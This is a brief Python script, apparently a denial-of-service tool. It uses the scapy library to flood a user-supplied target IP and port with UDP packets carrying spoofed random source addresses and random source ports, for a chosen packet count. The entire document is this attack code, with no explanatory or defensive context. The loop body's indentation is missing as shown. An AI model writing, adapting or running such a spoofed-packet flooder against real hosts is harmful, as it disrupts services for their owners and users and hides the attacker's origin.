#!/usr/bin/python

from scapy.all import IP,UDP,RandIP,send

from random import randrange

ip = raw_input("Target IP: ")

port = input("Port: ")

times = input("Packet Nums: ")

b=IP(src=RandIP(),dst=ip,ttl=10)

c=UDP(dport=port)

tmp=1

while(True):

randport = randrange(1025,65535,1)

c.sport = randport

a=b/c

send(a)

if (tmp == times):

break

else:

tmp = tmp + 1